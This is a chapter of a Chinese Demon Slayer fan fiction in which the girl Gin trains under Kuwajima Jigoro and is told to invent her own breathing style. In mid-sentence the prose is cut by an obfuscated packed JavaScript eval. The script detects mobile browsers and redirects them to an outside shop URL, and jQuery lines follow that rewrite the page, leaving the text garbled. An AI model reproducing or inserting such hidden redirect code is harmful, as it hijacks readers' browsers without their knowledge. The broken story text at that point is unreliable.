17.章十七
作品:《[鬼灭]为了成为有钱人我决定加入鬼杀队》 银收拾好行囊,在一个清晨踏着刚出炉的脆金色阳光,步履轻盈地离开了狭雾山。
她已经好好和义勇以及锖兔道过别了,如果顺利的话,下次见面就是几个月后的入队选拔了。
银衷心希望他们能够快些劈开后山的石头,也期待这回能够遇到真正适配自己的呼吸法。
再次步入新环境虽然让她有些不习惯,但她很快就调整好了心情。
她抵达的目的地是位于北方的一座桃山,据说鳞泷先生的故友拥有一整座山,是位大地主。
冬季还没到桃树结果的时节,一大片树林光秃秃的,透过分叉的树枝,天空变成了一整张湛蓝色的渔网。
培育师桑岛慈悟郎是位矮小的老人,胡子和眉毛一样浓密,乍一看仿佛有四条眉毛。他生命里的旺盛体现在毛发上,虽然一条腿在猎鬼之时失去了,现在依靠义肢和拐杖,不过却依然十分具有活力。
特别是他的速度,快到完全无法想象是失去了一条腿的老人能够施展出来的速度。
上山下山,训练过的银全力跑也需要十分钟,可这位桑岛老人却只需要半分钟。据他所言,这还远远不是他的真实水平。
他的训练比起鳞泷先生来说,又是另一种程度的艰辛。
挥刀、绕山跑都是基本功,做完之后还要在他的追逐下躲避至少十分钟(银目前还做不到),之后才是呼吸法的练习。
雷之呼吸似乎是比较难以学习的呼吸法,直到现在,桑岛老人都没能教导出一位合格的雷之呼吸继承人。
“你也想达到我的水平吗?把雷之呼吸全部型学会了,成为柱,你也能做到相同的事。”
当银如此询问他为什么这么强时,桑岛笑着回答了她。
从桑岛老人口中,银了解到了鬼杀队内部的等级制度。
其中最高级别为柱,是鬼杀队中最强的几人才能担任的职位。到了柱的水平,月薪可不止20万日元,好像是可以随意从主公大人的资产里取钱花。
“如何?以金钱为目标的你是不是很心动?”桑岛已经从鳞泷先生的信件中大致了解了银的情况,他并不是没有训练过以钱为目的家伙,但他并不在意这些。
出乎他的意料,银摇了摇头:“我不知道。20万日元对我而言就已经很难以想象了,随意从鬼杀队主公资产中取钱……这种事情跟做梦没什么两样,不去想比较好。
“我要做的事情只有一件,提升自己的实力,让自己的实力足以匹配20万日元而已。”
桑岛慈悟郎摸着胡子,呲嘴笑了起来:“很聪明的想法,我明白鳞泷那家伙为什么推荐你来我这里了。”
他喜欢务实的孩子,银很对他的胃口。
银坐在树根旁,她努力调整自己的呼吸,汗水洇湿了大半衣服。
他们的对话发生在训练结束后的下午。
“你和鳞泷先生一样,都没有看轻我想加入鬼杀队的理由。为什么?和其他与鬼有仇的人相比,不觉得我的理由很低俗、很不光明吗?”
银开口问出了她心中思索很久的问题。
她早就做好觉悟,就算有人轻蔑她,她也完全无所谓。
可是目前遇到的人,义勇、锖兔、鳞泷先生还是桑岛先生,没有一个人在知道了银的理由后,看轻她。
为什么?世界在她不知情的时候变得如此温柔了吗?
还是因为面前这几个人是特例呢?
桑岛拄着拐杖,单手背在身后,对上银的眼眸——因为迷茫,本就灰色的眼珠重新上了一遍灰漆。
他笑了:“你希望别人轻蔑你入队的理由吗?”
银摇了摇头:“我没有这方面的癖好,只是觉得你们很奇怪。”
以前遇到的人,和银相处过后,就会嫌弃她小小年纪对金钱如此计较,最后,轻蔑就会变成鄙视,无言的暴力就此产生。
银竭力告诉自己无需在意,可她的心又不是铁做的,每当沐浴着鄙视的目光,她的喉咙处就有种痒痒的感觉。
每当这时候,她就很想用手破开胸腔——用力去抓挠这股无处疏解的瘙痒。
那么,干脆不和任何人有过深的联系比较好。
她一直奉行这样的想法,可自从与茑子姐姐相遇开始,奇怪的人就不断闯入她的生活中,打乱她既定的世界观。
桑岛嘿咻一声坐在银的旁边,摸了摸银的脑袋:“奇怪的是那些会轻视你的人吧?我不知道鳞泷他们怎么想的。
“不过,在我看来,就算是为了钱加入鬼杀队,这个目的也绝不卑贱。持刀杀鬼的那一刻起,你们所做的行为就是在帮助他人了。
“帮助他人、行善事之人理应获得高昂的报酬,不这样的话,为善的人就太吃亏了。
“既然你希望自己的能力可以匹配上20万日元,就说明你并不打算白收工资,是吧?”
桑岛说得对,银一早就有了为这份工作丧命的觉悟。
于是她点了点头。
“那不就好了!既然有杀鬼的打算,为了钱也不是什么不光明的事!已经休息好了吧?回去吃饭了。”
说罢,桑岛站起身,支着拐杖慢悠悠向前走。
银看着他的背影,手搭在刚才被他抚摸过的地方。一阵带有凉意的风吹来,她完全不觉得寒冷,反而所有无用的思绪都随之飘向了远方。
困扰了银一段时间的烦恼被解决了,她的肩膀似乎放松了许多。
虽然桑岛先生的性格和鳞泷先生完全不一样,不过,他们却有一个非常相似的地方。
怪不得他们能够成为好友。
银起身,向前迈了好几步跟上桑岛。
两位性格不同的师父,两位一样温柔的师父。
“你觉得我能够继承雷之呼吸吗?”她如此询问,不仅是因为想要变得更强,也希望能够实现这位温柔老人的愿望。
——让雷之呼吸后继有人。
桑岛摸着胡子,闻言呲嘴笑问银:“嚯,你想要继承雷之呼吸法吗?”
“……如果我有这个资格的话。”银快速回答。
桑岛有些骄傲地笑了,随后大声回答她:“嗯,完全不行!”
银下意识后退一步,整个人变成了银灰色,散发着颓废的气息:“为什么?”
她以为经过这两个月的训练,桑岛已经认可了她的资质。
……不适合水之呼吸,也不适合雷之呼吸,难道说,她其实非常没有天赋吗?!
想到这个可能性,银突然觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156975|196385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得世界完全变成了灰色。
“你具备进攻的决心,也有快速学会技巧的脑袋,可你依然不适合雷之呼吸,你拥有头绪吗?”桑岛瞥了她一眼,提问。
银自然不知道这个缘由:“我不清楚……我真的不能继承雷之呼吸吗?”
全部六个型,学会……是学会了,可是培育师本人不认可的话,也就无从谈继承了。
桑岛反而讶异于银对继承雷之呼吸的渴望:“你很喜欢雷之呼吸吗?”
银摇头:“我只是想作为你的弟子回报你。”如果雷之呼吸后继有人,你就了却了一桩心愿吧。
银直白的话语让桑岛大笑出声,也让银皱起了眉头。
难道在桑岛看来,她还远远不够资格吗?
“哈哈哈,难道会有因为弟子愚笨就把她赶出门的师父吗?难道会有明知弟子不适合自己的剑技,就把她逐出门的师父吗?
“如果有那样的师父,他就不配为人师!”
桑岛严肃了面色,看向银:“你的天赋不在雷之呼吸,我无法眼睁睁看宝玉蒙尘。我和鳞泷不会因为你无法适应我们的呼吸法,就认为你不是我们弟子的。
“至于雷之呼吸,如果真的无人继承,那就说明雷之呼吸已经不适合传承了。银,一日为师,我就永远是你师父。”
桑岛慈悟郎的话语强硬打破了银心中的防线,让她被迫直面了隐藏在内心深处的不安。
就连银自己都没意识到的想法,也被桑岛尽数识破。
原来是这样。
原来她不希望自己与鳞泷先生、与桑岛先生的联系断掉,不希望自己与义勇、与锖兔的关联消失。
原来银在不知不觉中,开始渴望与他人拥有很深的联系。
不再想要,拒绝他人了。
银的思绪一片空白,她暂时还无法处理刚才听到的话语,只是……
只是无端觉得,胸腔热热的。
啊啊……一定是因为之前的坏运气都用光了,才能接连不断遇上这么多温柔的人吧?
“……桑岛先生。”
“怎么了?”
“桑岛师父。”
“哎。”
“桑岛……师父,谢谢你。”银咽了一口口水,尽力不让自己的颤音被他听见。
“这是为师该做的。”桑岛假装没有发现银语调的奇特之处,拐杖所到之处,松软泥土上留下了一排排小小的坑。
银吸了一口长长的气,用多余的氧气来塞住松动的泪腺,她用食指和大拇指圈住手腕:
“那么,桑岛师父。我需要去学习其他呼吸法吗?”
再次,去往别的培育师那里吗?
桑岛摸胡子的动作停了下来,他转过身,与银对视。
“我教过很多人,虽然有些人确实不适配自己所学的呼吸法,但很少有像你这样,使起剑招来特别僵硬的。
“依我的观察,你并非不会使用,而是身体有自己的想法。比起固定的剑技,你更依赖自己呢。”
银点头,桑岛说得对,她更喜欢随心而动,固定的招式令她不太适应。
桑岛点点头,举起拐杖指着银:
“那么,就由你自己来创造,你用起来最舒服的呼吸法吧。”

